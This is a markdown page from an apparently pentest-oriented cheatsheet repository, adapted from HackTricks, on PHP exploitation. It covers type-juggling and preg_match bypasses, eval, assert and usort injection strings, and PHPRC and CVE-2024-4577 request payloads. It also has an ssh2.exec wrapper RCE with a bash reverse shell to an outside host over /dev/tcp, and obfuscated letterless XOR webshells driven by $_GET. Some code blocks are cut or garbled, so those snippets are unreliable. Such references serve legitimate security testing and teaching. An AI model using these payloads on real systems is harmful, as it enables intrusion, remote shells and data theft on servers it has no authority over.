daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (28642B)


      1 ---
      2 title: "PHP Tricks"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # PHP Tricks
     14 
     15 ## Common cookie-session locations
     16 
     17 This is also valid for phpMyAdmin cookies.
     18 
     19 Cookies:
     20 
     21 ```text
     22 PHPSESSID
     23 phpMyAdmin
     24 ```
     25 
     26 Locations:
     27 
     28 ```text
     29 /var/lib/php/sessions
     30 /var/lib/php5/
     31 /tmp/
     32 Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
     33 ```
     34 
     35 ## Bypassing PHP comparisons
     36 
     37 ### Loose comparisons/Type Juggling ( == )
     38 
     39 PHP's `==` operator performs type coercion and can produce surprising results. Use `===` when both value and type must match. Exact loose-comparison behavior is version-dependent: PHP 8 changed number-to-non-numeric-string comparisons, so many classic PHP 7 examples no longer evaluate to `true`.<sup>[[16]](#references)</sup>
     40 
     41 PHP comparison tables: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
     42 
     43 ![Bypassing PHP comparisons - Loose comparisons/Type Juggling ( == ): PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28567%29.png)
     44 
     45 [En Php Loose Comparison Type Juggling Owasp (1).Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/EN-PHP-loose-comparison-Type-Juggling-OWASP%20%281%29.pdf)
     46 
     47 Classic cases to test include:
     48 
     49 - `"string" == 0` is `true` through PHP 7 but `false` in PHP 8 because the string is non-numeric.<sup>[[16]](#references)</sup>
     50 - Numeric strings can be converted for numeric comparison. Hex-string handling changed across older PHP releases, so verify examples such as `"0xAAAA" == "43690"` against the target version.
     51 - Strings matching numeric scientific notation, such as `"0e3264578"`, are numeric zero. A hash consisting of `0e` followed only by digits can therefore compare equal to another numeric-zero string under `==`. Precomputed examples are available at [spaze/hashes](https://github.com/spaze/hashes).
     52 - Other classic non-numeric-string-to-zero cases, such as `"X" == 0`, apply to PHP 7 and earlier, not PHP 8.<sup>[[16]](#references)</sup>
     53 
     54 More info in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)<sup>[[1]](#references)</sup>
     55 
     56 ### **in_array()**
     57 
     58 **Type juggling** also affects `in_array()` by default. Set the third argument to `true` to require strict comparison. As with `==`, the exact result of mixed string/number cases depends on the PHP version:
     59 
     60 ```php
     61 $values = array("apple","orange","pear","grape");
     62 var_dump(in_array(0, $values));
     63 //True
     64 var_dump(in_array(0, $values, true));
     65 //False
     66 ```
     67 
     68 ### strcmp()/strcasecmp()
     69 
     70 On older PHP versions, code that used `strcmp()` or `strcasecmp()` for authentication and failed to validate input types could sometimes be bypassed by submitting an array (`password[]=`): the function emitted a warning and returned `null`, which loose surrounding logic could mistake for equality. Modern PHP enforces the string parameters and throws `TypeError`, so test this as a legacy behavior and examine how the application handles the exception.<sup>[[17]](#references)</sup>
     71 
     72 ```php
     73 if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
     74 // Real Password
     75 if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
     76 // Real Password
     77 ```
     78 
     79 The same legacy pattern applies to `strcasecmp()`.
     80 
     81 ### Strict type Juggling
     82 
     83 Even if `===` is **being used** there could be errors that makes the **comparison vulnerable** to **type juggling**. For example, if the comparison is **converting the data to a different type of object before comparing**:
     84 
     85 ```php
     86 (int) "1abc" === (int) "1xyz" //This will be true
     87 ```
     88 
     89 ### preg_match(/^.\*/)
     90 
     91 Applications sometimes use **`preg_match()`** to reject input matching a blacklist. This is fragile because regex semantics and error returns can be mishandled.
     92 
     93 #### New line bypass
     94 
     95 Without the `s` modifier, dot (`.`) does not match a newline. Consequently, a pattern anchored with `^` and built around `.*` may inspect only the first line even though `preg_match()` is processing the complete subject. Multiline input can then bypass the intended blacklist. For example:
     96 
     97 ```php
     98 $myinput="aaaaaaa
     99 11111111"; //Notice the new line
    100 echo preg_match("/1/",$myinput);
    101 //1  --> In this scenario preg_match find the char "1"
    102 echo preg_match("/1.*$/",$myinput);
    103 //1  --> In this scenario preg_match find the char "1"
    104 echo preg_match("/^.*1/",$myinput);
    105 //0  --> In this scenario preg_match DOESN'T find the char "1"
    106 echo preg_match("/^.*1.*$/",$myinput);
    107 //0  --> In this scenario preg_match DOESN'T find the char "1"
    108 ```
    109 
    110 To bypass this check you could **send the value with new-lines urlencoded** (`%0A`) or if you can send **JSON data**, send it in **several lines**:
    111 
    112 ```php
    113 {
    114   "cmd": "cat /etc/passwd"
    115 }
    116 ```
    117 
    118 Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)<sup>[[2]](#references)</sup>
    119 
    120 #### **Length error bypass**
    121 
    122 (This bypass was tried apparently on PHP 5.2.5 and I couldn't make it work on PHP 7.3.15)\
    123 Some older configurations can make `preg_match()` fail on a very **large input** after reaching PCRE resource limits. This only becomes a bypass if the application treats the `false` error return as equivalent to the integer `0` “no match” result. For example, when blacklisting JSON, test:
    124 
    125 ```bash
    126 payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
    127 ```
    128 
    129 From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)<sup>[[3]](#references)</sup>
    130 
    131 #### ReDoS Bypass
    132 
    133 Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)<sup>[[4]](#references)[[5]](#references)</sup>
    134 
    135 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2826%29.png" alt=""><figcaption></figcaption></figure>
    136 
    137 In short the problem happens because the `preg_*` functions in PHP builds upon the [PCRE library](http://www.pcre.org/). In PCRE certain regular expressions are matched by using a lot of recursive calls, which uses up a lot of stack space. It is possible to set a limit on the amount of recursions allowed, but in PHP this limit [defaults to 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) which is more than fits in the stack.
    138 
    139 [This Stackoverflow thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) was also linked in the post where it is talked more in depth about this issue. Our task was now clear:\
    140 **Send an input that would make the regex do 100_000+ recursions, causing SIGSEGV, making the `preg_match()` function return `false` thus making the application think that our input is not malicious, throwing the surprise at the end of the payload something like `{system(<verybadcommand>)}` to get SSTI --> RCE --> flag :)**.
    141 
    142 Well, in regex terms, we're not actually doing 100k "recursions", but instead we're counting "backtracking steps", which as the [PHP documentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) states it defaults to 1_000_000 (1M) in the `pcre.backtrack_limit` variable.\
    143 To reach that, `'X'*500_001` will result in 1 million backtracking steps (500k forward and 500k backwards):
    144 
    145 ```python
    146 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
    147 ```
    148 
    149 ### Type Juggling for PHP obfuscation
    150 
    151 ```php
    152 $obfs = "1"; //string "1"
    153 $obfs++; //int 2
    154 $obfs += 0.2; //float 2.2
    155 $obfs = 1 + "7 IGNORE"; //int 8
    156 $obfs = "string" + array("1.1 striiing")[0]; //float 1.1
    157 $obfs = 3+2 * (TRUE + TRUE); //int 7
    158 $obfs .= ""; //string "7"
    159 $obfs += ""; //int 7
    160 ```
    161 
    162 ## Execute After Redirect (EAR)
    163 
    164 If PHP is redirecting to another page but no **`die`** or **`exit`** function is **called after the header `Location`** is set, the PHP continues executing and appending the data to the body:
    165 
    166 ```php
    167 <?php
    168 // In this page the page will be read and the content appended to the body of
    169 // the redirect response
    170 $page = $_GET['page'];
    171 header('Location: /index.php?page=default.html');
    172 readfile($page);
    173 ?>
    174 ```
    175 
    176 ## Path Traversal and File Inclusion Exploitation
    177 
    178 Check:
    179 
    180 
    181 [File Inclusion](/hacktricks/pentesting-web/file-inclusion/overview)
    182 
    183 ## More tricks
    184 
    185 - **register_globals**: In **PHP < 4.1.1.1** or if misconfigured, **register_globals** may be active (or their behavior is being mimicked). This implies that in global variables like $\_GET if they have a value e.g. $\_GET\["param"]="1234", you can access it via **$param. Therefore, by sending HTTP parameters you can overwrite variables** that are used within the code.
    186 - The **PHPSESSION cookies of the same domain are stored in the same place**, therefore if within a domain **different cookies are used in different paths** you can make that a path **accesses the cookie of the path** setting the value of the other path cookie.\
    187   This way if **both paths access a variable with the same name** you can make the **value of that variable in path1 apply to path2**. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2).
    188 - When you have the **usernames** of the users of the machine. Check the address: **/\~\<USERNAME>** to see if the php directories are activated.
    189 - If a php config has **`register_argc_argv = On`** then query params separated by spaces are used to populate the array of arguments **`array_keys($_SERVER['argv'])`** like if they were **arguments from the CLI**. This is interesting because if that **setting is off**, the value of the **args array will be `Null`** when called from the web as the ars arry won't be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison like `if (empty($_SERVER['argv'])) {` an attacker could send **parameters in the GET request like `?--configPath=/lalala`** and it will think it’s running as CLI and potential parse and use those arguments. More info in the [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).<sup>[[6]](#references)</sup>
    190 - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
    191 
    192 ### password_hash/password_verify
    193 
    194 These functions are typically used to **hash passwords** and **verify** a password against a stored hash.\
    195 PHP supports multiple algorithm constants. `PASSWORD_DEFAULT` currently uses bcrypt but is designed to change over time, while `PASSWORD_BCRYPT` produces `$2y$` hashes. Bcrypt truncates passwords at 72 bytes, so inputs sharing the same first 72 bytes verify against the same bcrypt hash.<sup>[[18]](#references)</sup>
    196 
    197 ```php
    198 $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
    199 False
    200 
    201 $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
    202 True
    203 ```
    204 
    205 ### HTTP headers bypass abusing PHP errors
    206 
    207 #### Causing error after setting headers
    208 
    209 As demonstrated in [**this thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19), exceeding PHP input-count limits—for example, more than 1,000 GET or POST parameters or 20 uploaded files under the tested configuration—can interfere with application header-setting logic.<sup>[[7]](#references)</sup>
    210 
    211 Allowing to bypass for example CSP headers being set in codes like:
    212 
    213 ```php
    214 <?php
    215 header("Content-Security-Policy: default-src 'none';");
    216 if (isset($_GET["xss"])) echo $_GET["xss"];
    217 ```
    218 
    219 #### Filling a body before setting headers
    220 
    221 If a **PHP page is printing errors and echoing back some input provided by the user**, the user can make the PHP server print back some **content long enough** so when it tries to **add the headers** into the response the server will throw and error.\
    222 In the following scenario the **attacker made the server throw some big errors**, and as you can see in the screen when php tried to **modify the header information, it couldn't** (so for example the CSP header wasn't sent to the user):
    223 
    224 ![Causing error after setting headers - Filling a body before setting headers: In the following scenario the attacker made the server throw some big errors , and as you can see in the...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281085%29.png)
    225 
    226 ## SSRF in PHP functions
    227 
    228 See:
    229 
    230 
    231 [Php Ssrf](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf)
    232 
    233 ## ssh2.exec stream wrapper RCE
    234 When the `ssh2` extension is installed (`ssh2.so` visible under `/etc/php*/mods-available/`, `php -m`, or even an FTP-accessible `php8.1_conf/` directory), PHP registers `ssh2.*` wrappers that can be abused anywhere user input is concatenated into `fopen()/file_get_contents()` targets. An admin-only download helper such as:<sup>[[8]](#references)</sup>
    235 
    236 ```php
    237 $wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
    238 $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
    239 ```
    240 
    241 is enough to execute shell commands over localhost SSH:
    242 
    243 ```http
    244 GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
    245 ```
    246 
    247 * The credential portion can reuse any leaked system password (e.g., from cracked bcrypt hashes).
    248 * The trailing `#` comments out the server-side suffix (`files/<id>.zip`), so only your command runs.
    249 * Blind RCE is confirmed by watching for egress with `tcpdump -ni tun0 icmp` or by serving an HTTP canary.
    250 
    251 Swap the command for a reverse shell payload once validated:
    252 
    253 ```http
    254 format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
    255 ```
    256 
    257 Because everything happens inside the PHP worker, the TCP connection originates from the target and inherits the privileges of the injected account (`yuri`, `eric`, etc.).
    258 
    259 ## Code execution
    260 
    261 **system("ls");**\
    262 **\`ls\`;**\
    263 **shell_exec("ls");**
    264 
    265 [Check this for more useful PHP functions](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
    266 
    267 ### **RCE via** **preg_replace()**
    268 
    269 ```php
    270 preg_replace(pattern,replace,base)
    271 preg_replace("/a/e","phpinfo()","whatever")
    272 ```
    273 
    274 The pattern must match at least once to execute the replacement. The `/e` (`PREG_REPLACE_EVAL`) modifier was deprecated in PHP 5.5 and removed in PHP 7.0, so this is a PHP 5-era technique.<sup>[[19]](#references)</sup>
    275 
    276 ### **RCE via Eval()**
    277 
    278 ```text
    279 '.system('uname -a'); $dummy='
    280 '.system('uname -a');#
    281 '.system('uname -a');//
    282 '.phpinfo().'
    283 <?php phpinfo(); ?>
    284 ```
    285 
    286 ### **RCE via Assert()**
    287 
    288 Before PHP 8.0, `assert()` could evaluate a string as PHP code; that behavior was deprecated in PHP 7.2 and removed in PHP 8.0. The following technique therefore applies only to older runtimes where string assertions are enabled.<sup>[[17]](#references)</sup> Usually the user variable is inserted into the middle of an assertion string. For example:\
    289 `assert("strpos($_GET['page']),'..') === false")` --> In this case to get **RCE** you could do:
    290 
    291 ```text
    292 ?page=a','NeVeR') === false and system('ls') and strpos('a
    293 ```
    294 
    295 You will need to **break** the code **syntax**, **add** your **payload**, and then **fix it again**. You can use **logic operations** such as "**and" or "%26%26" or "|"**. Note that "or", "||" doesn't work because if the first condition is true our payload won't get executed. The same way ";" doesn't work as our payload won't be executed.
    296 
    297 **Other option** is to add to the string the execution of the command: `'.highlight_file('.passwd').'`
    298 
    299 **Other option** (if you have the internal code) is to modify some variable to alter the execution: `$file = "hola"`
    300 
    301 ### **RCE via usort()**
    302 
    303 This function sorts an array using a specified callback.\
    304 To abuse this function:
    305 
    306 ```php
    307 <?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
    308 VALUE: );phpinfo();#
    309 
    310 <?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
    311 ```
    312 
    313 ```php
    314 <?php
    315 function foo($x,$y){
    316     usort(VALUE, "cmp");
    317 }?>
    318 VALUE: );}[PHP CODE];#
    319 
    320 <?php
    321 function foo($x,$y){
    322     usort();}phpinfo;#, "cmp");
    323 }?>
    324 ```
    325 
    326 You can also use **//** to comment the rest of the code.
    327 
    328 To discover the number of parenthesis that you need to close:
    329 
    330 - `?order=id;}//`: we get an error message (`Parse error: syntax error, unexpected ';'`). We are probably missing one or more brackets.
    331 - `?order=id);}//`: we get a **warning**. That seems about right.
    332 - `?order=id));}//`: we get an error message (`Parse error: syntax error, unexpected ')' i`). We probably have too many closing brackets.
    333 
    334 ### **RCE via .htaccess**
    335 
    336 If you can upload an Apache **`.htaccess`** file into a directory where overrides are permitted, you may be able to remap an attacker-controlled extension to the PHP handler and execute uploaded code.
    337 
    338 Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells)
    339 
    340 ### RCE via Env Variables
    341 
    342 If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
    343 
    344 - [**`LD_PRELOAD`**](../../../linux-hardening/linux-basics/linux-privilege-escalation/index.html#ld_preload-and-ld_library_path): This env variable allows you load arbitrary libraries when executing other binaries (although in this case it might not work).
    345 - **`PHPRC`** : Instructs PHP on **where to locate its configuration file**, usually called `php.ini`. If you can upload your own config file, then, use `PHPRC` to point PHP at it. Add an **`auto_prepend_file`** entry specifying a second uploaded file. This second file contains normal **PHP code, which is then executed** by the PHP runtime before any other code.
    346   1. Upload a PHP file containing our shellcode
    347   2. Upload a second file, containing an **`auto_prepend_file`** directive instructing the PHP preprocessor to execute the file we uploaded in step 1
    348   3. Set the `PHPRC` variable to the file we uploaded in step 2.
    349      - Get more info on how to execute this chain [**from the original report**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).<sup>[[9]](#references)</sup>
    350 - **PHPRC** - another option
    351   - If you **cannot upload files**, you could use in FreeBSD the "file" `/dev/fd/0` which contains the **`stdin`**, being the **body** of the request sent to the `stdin`:
    352     - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
    353   - Or to get RCE, enable **`allow_url_include`** and prepend a file with **base64 PHP code**:
    354     - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
    355   - Technique [**from this report**](https://vulncheck.com/blog/juniper-cve-2023-36845).<sup>[[10]](#references)</sup>
    356 
    357 ### XAMPP CGI RCE - CVE-2024-4577
    358 
    359 In affected Windows CGI deployments, the web server parses an HTTP request and constructs arguments for `php-cgi.exe`. The vulnerable character conversion allows option injection, including these directives for loading PHP code from the request body:<sup>[[11]](#references)</sup>
    360 
    361 ```jsx
    362 -d allow_url_include=1 -d auto_prepend_file=php://input
    363 ```
    364 
    365 The exploit substitutes byte `0xAD` for `-` before later normalization. See the example from [**this post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):<sup>[[11]](#references)</sup>
    366 
    367 ```jsx
    368 POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
    369 Host: {{host}}
    370 User-Agent: curl/8.3.0
    371 Accept: */*
    372 Content-Length: 23
    373 Content-Type: application/x-www-form-urlencoded
    374 Connection: keep-alive
    375 
    376 <?php
    377 phpinfo();
    378 ?>
    379 
    380 ```
    381 
    382 ## PHP Sanitization bypass & Brain Fuck
    383 
    384 [**In this post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) it's possible to find great ideas to generate a brain fuck PHP code with very few chars being allowed.<sup>[[12]](#references)</sup>\
    385 Moreover it's also proposed an interesting way to execute functions that allowed them to bypass several checks:
    386 
    387 ```php
    388 (1)->{system($_GET[chr(97)])}
    389 ```
    390 
    391 ## PHP Static analysis
    392 
    393 Look if you can insert code in calls to these functions (from [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):<sup>[[13]](#references)</sup>
    394 
    395 ```php
    396 exec, shell_exec, system, passthru, eval, popen
    397 unserialize, include, file_put_contents
    398 $_COOKIE | if # Track attacker-controlled sources into conditional or dangerous sinks
    399 ```
    400 
    401 When debugging an authorized PHP application, error display can be enabled in the applicable `php.ini` (for example, `/etc/php5/apache2/php.ini`) with `display_errors = On`; then restart Apache with `sudo systemctl restart apache2`. Do not enable this in production because error output may disclose secrets.
    402 
    403 ### Deobfuscating PHP code
    404 
    405 You can use the **web**[ **www.unphp.net**](http://www.unphp.net) **to deobfuscate php code.**
    406 
    407 ## PHP Wrappers & Protocols
    408 
    409 PHP wrappers and protocols can sometimes **bypass application-level read or write restrictions**. For [**more information, see this page**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
    410 
    411 ## Xdebug unauthenticated RCE
    412 
    413 If **Xdebug** is enabled in `phpinfo()` output, assess whether its remote-debugging configuration is reachable and vulnerable. One historical exploit implementation is [nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit).
    414 
    415 ## Variable variables
    416 
    417 ```php
    418 $x = 'Da';
    419 $$x = 'Drums';
    420 
    421 echo $x; //Da
    422 echo $$x; //Drums
    423 echo $Da; //Drums
    424 echo "${Da}"; //Drums
    425 echo "$x ${$x}"; //Da Drums
    426 echo "$x ${Da}"; //Da Drums
    427 ```
    428 
    429 ## RCE abusing new $\_GET\["a"]\($\_GET\["b"])
    430 
    431 If in a page you can **create a new object of an arbitrary class** you might be able to obtain RCE, check the following page to learn how:
    432 
    433 
    434 [Php Rce Abusing Object Creation New Usd Get A Usd Get B](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd-get-a-usd-get-b)
    435 
    436 ## Execute PHP without letters
    437 
    438 [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)<sup>[[14]](#references)</sup>
    439 
    440 ### Using octal
    441 
    442 ```php
    443 $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
    444 ```
    445 
    446 ### **XOR**
    447 
    448 ```php
    449 $_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
    450 $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
    451 $___=$__; #Could be not needed inside eval
    452 $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
    453 ```
    454 
    455 ### XOR easy shell code
    456 
    457 According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way:<sup>[[15]](#references)</sup>
    458 
    459 ```php
    460 $_="`{{{"^"?<>/"; // $_ = '_GET';
    461 ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
    462 
    463 $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
    464 ```
    465 
    466 So, if you can **execute arbitrary PHP without numbers and letters** you can send a request like the following abusing that payload to execute arbitrary PHP:
    467 
    468 ```text
    469 POST: /action.php?_=system&__=cat+flag.php
    470 Content-Type: application/x-www-form-urlencoded
    471 
    472 comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
    473 ```
    474 
    475 For a more in depth explanation check [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
    476 
    477 ### XOR Shellcode (inside eval)
    478 
    479 ```bash
    480 #!/bin/bash
    481 
    482 if [[ -z $1 ]]; then
    483   echo "USAGE: $0 CMD"
    484   exit
    485 fi
    486 
    487 CMD=$1
    488 CODE="\$_='\
    489 ```
    490 
    491 ```php
    492 lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
    493 ```
    494 
    495 ```php
    496 lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
    497 ```
    498 
    499 ### Perl like
    500 
    501 ```php
    502 <?php
    503 $_=[];
    504 $_=@"$_"; // $_='Array';
    505 $_=$_['!'=='@']; // $_=$_[0];
    506 $___=$_; // A
    507 $__=$_;
    508 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    509 $___.=$__; // S
    510 $___.=$__; // S
    511 $__=$_;
    512 $__++;$__++;$__++;$__++; // E
    513 $___.=$__;
    514 $__=$_;
    515 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
    516 $___.=$__;
    517 $__=$_;
    518 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    519 $___.=$__;
    520 
    521 $____='_';
    522 $__=$_;
    523 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
    524 $____.=$__;
    525 $__=$_;
    526 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
    527 $____.=$__;
    528 $__=$_;
    529 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
    530 $____.=$__;
    531 $__=$_;
    532 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    533 $____.=$__;
    534 
    535 $_=$$____;
    536 $___($_[_]); // ASSERT($_POST[_]);
    537 ```
    538 
    539 ## References
    540 
    541 - [1] [PHP Type Juggling Vulnerabilities](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
    542 - [2] [Facebook CTF 2019 Writeup: rceservice – Bypassing preg_match](https://ramadistra.dev/fbctf-2019-rceservice)
    543 - [3] [Solving Each and Every FB CTF Challenge – Part 1](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
    544 - [4] [Intigriti 1223 Challenge Writeup – PHP ReDoS preg_match Bypass to SSTI](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
    545 - [5] [Pong – ReDoS to SSRF via Open Redirect and DNS Zone Transfer (CTF Writeup)](https://mizu.re/post/pong)
    546 - [6] [How an obscure PHP footgun led to RCE in Craft CMS](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)
    547 - [7] [pilvar222 on X: PHP skips response headers after 1000+ GET/POST params or 20 files](https://twitter.com/pilvar222/status/1784618120902005070)
    548 - [8] [0xdf – HTB Era: abusing ssh2.exec stream wrappers](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
    549 - [9] [CVE-2023-36844 and Friends: RCE in Juniper Devices](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)
    550 - [10] [Fileless Remote Code Execution on Juniper Firewalls](https://vulncheck.com/blog/juniper-cve-2023-36845)
    551 - [11] [No Way, PHP Strikes Again! (CVE-2024-4577)](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)
    552 - [12] [Back to School – Exploiting a Remote Code Execution Vulnerability in Moodle](https://blog.redteam-pentesting.de/2024/moodle-rce/)
    553 - [13] [HackTheBox - Wall](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)
    554 - [14] [Bypass WAF – PHP Webshell Without Numbers and Letters](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
    555 - [15] [Web challenge – mgp25 blog (PHP XOR shellcode without letters or numbers)](https://mgp25.com/ctf/Web-challenge/)
    556 - [16] [PHP 8.0 migration: string-to-number comparison changes](https://www.php.net/manual/en/migration80.incompatible.php#language.types.string.number-comparisons)
    557 - [17] [PHP 8.0 backward-incompatible standard-library changes](https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.standard)
    558 - [18] [PHP manual: `password_hash`](https://www.php.net/manual/en/function.password-hash.php)
    559 - [19] [PHP 7.0 migration: changed functions](https://www.php.net/manual/en/migration70.changed-functions.php)